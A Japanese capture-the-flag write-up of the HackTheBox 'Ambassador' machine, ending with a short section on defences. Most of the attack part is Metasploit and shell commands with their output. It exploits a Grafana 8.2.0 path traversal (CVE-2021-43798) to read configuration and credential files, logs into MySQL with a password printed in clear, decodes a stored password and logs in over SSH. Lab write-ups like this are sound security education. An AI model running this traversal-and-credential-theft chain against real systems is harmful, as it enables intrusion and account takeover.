この記事では HackTheBox Ambassador の Writeup とその対策について記載します。
結論、Grafana の CVE-2021-43798 に該当するディレクトリトラバーサルの脆弱性を利用してフラグを取得することになります。また、この記事ではディレクトリトラバーサルの対策についても考察します。
Writeup
該当の Machine の IP アドレスは今回は 10.10.11.183 です。
nmap でポートスキャンを実施します。-sV 実際に開いているポートとフィルタ処理されたポートを識別します。
$ sudo nmap -sV 10.10.11.183
Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-08 20:03 JST
Nmap scan report for 10.10.11.183
Host is up (0.17s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open ppp?
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
TCP 80 ポートが解放されているため、ブラウザでアクセスするために hosts にレコードを追加。
$ echo "10.10.11.183 ambassador.htb" | sudo tee --append /etc/hosts
WEB ブラウザで http://ambassador.htb:3000 にアクセスします。フッター部分に v8.2.0 と記載があります。
msfconsole で Grafana v8.2.0 の脆弱性のエクスプロイトを検索します。
$ sudo msfconsole
msf6 > updatedb
[*] exec: updatedb
msf6 > search Grafana
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/grafana_auth_bypass 2019-08-14 normal No Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth
1 auxiliary/scanner/http/grafana_plugin_traversal normal No Grafana Plugin Path Traversal
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/http/grafana_plugin_traversal
ディレクトリトラバーサルのエクスプロイトを利用し実行します。
msf6 > use auxiliary/scanner/http/grafana_plugin_traversal
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > info
Name: Grafana Plugin Path Traversal
Module: auxiliary/scanner/http/grafana_plugin_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
h00die
jordyv
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 13 yes Traversal depth
FILEPATH /etc/grafana/grafana.ini yes The name of the file to download
PLUGINS_FILE /usr/share/metasploit-framework/data/wo yes File containing plugins to enumerate
rdlists/grafana_plugins.txt
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasplo
it/basics/using-metasploit.html
RPORT 3000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Grafana instance
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set RHOSTS ambassador.htb
RHOSTS => ambassador.htb
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > run
[+] Detected vulnerable Grafina: 8.2.0
[*] 10.10.11.183 - Progress 0/40 (0.0%)
[+] alertlist was found and exploited successfully
[+] 10.10.11.183:3000 - File saved in: /root/.msf4/loot/20230408215213_default_10.10.11.183_grafana.loot_477514.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
grafana.ini を取得できたため「File saved in」以降のローカルに保存された ini ファイルを参照し、admin_password を見つけます。
$ sudo cat /root/.msf4/loot/20230408215213_default_10.10.11.183_grafana.loot_477514.ini | less
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = ***************
ブラウザで「http://ambassador.htb:3000/login」にアクセスして grafana.ini より取得したアカウントの ID とパスワードを入力して「Log in」ボタンを押下し、ブラウザで Grafana の設定画面を参照します。nmap の結果より TCP 3306 が解放されていたことからデータソースを確認します。以下の通り MySQL が指定されてあり、mysql.yaml で定義されていることがわかります。
mysql.yaml は Grafana 公式ページ(https://grafana.com/docs/grafana/latest/administration/provisioning/)より /etc/grafana/provisioning/datasources/mysql.yaml にあると分かります。エクスプロイトより ini ファイルを参照します。
$ sudo msfconsole
msf6 > use auxiliary/scanner/http/grafana_plugin_traversal
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set RHOSTS ambassador.htb
RHOSTS => ambassador.htb
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > set FILEPATH /etc/grafana/provisioning/datasources/mysql.yaml
FILEPATH => /etc/grafana/provisioning/datasources/mysql.yaml
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > run
[+] Detected vulnerable Grafina: 8.2.0
[*] 10.10.11.183 - Progress 0/40 (0.0%)
[+] alertlist was found and exploited successfully
[+] 10.10.11.183:3000 - File saved in: /root/.msf4/loot/20230408221645_default_10.10.11.183_grafana.loot_749560.yaml
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
$ sudo cat /root/.msf4/loot/20230408221645_default_10.10.11.183_grafana.loot_749560.yaml
apiVersion: 1
datasources:
- name: mysql.yaml
type: mysql
host: localhost
database: grafana
user: grafana
password: *************
editable: false
ポートスキャンの結果より 3306 が解放されていたことより、mysql.yaml から得たユーザ名とパスワードでアクセスを試行し中身を参照します。users テーブルが存在することがわかり参照します。
$ mysql -h ambassador.htb -u grafana --password=dontStandSoCloseToMe63221!
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0.211 sec)
MySQL [(none)]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0.181 sec)
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | **************************************== |
+-----------+------------------------------------------+
1 row in set (0.246 sec)
pass が = でパディングされていることから Base64 を疑いでデコードし SSH を試行しフラグを取得します。
$ echo -n "**************************************==" | base64 -d
< ssh password >
$ ssh developer@ambassador.htb
developer@ambassador.htb's password: < ssh password >
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
developer@ambassador:~$ ls
snap user.txt
developer@ambassador:~$ cat user.txt
考察
今回の脆弱性では、サーバ内ファイルの閲覧がされました。対策は2つあります。
- 定期的なソフトウェア自動アップデート
- WAF 導入による防御
また、今回脆弱性では適用は困難ですが、ファイルの権限厳格化またはファイル名の難読化が有効です。
定期的なソフトウェアアップデートは、AWS 環境であれば OpsWork を利用したり、yum-cron で自動化することがおすすめです。
また、WAF においても、制御ルールの保守が煩雑になるためフルマネージドサービスを適用し運用することで自動化ができます。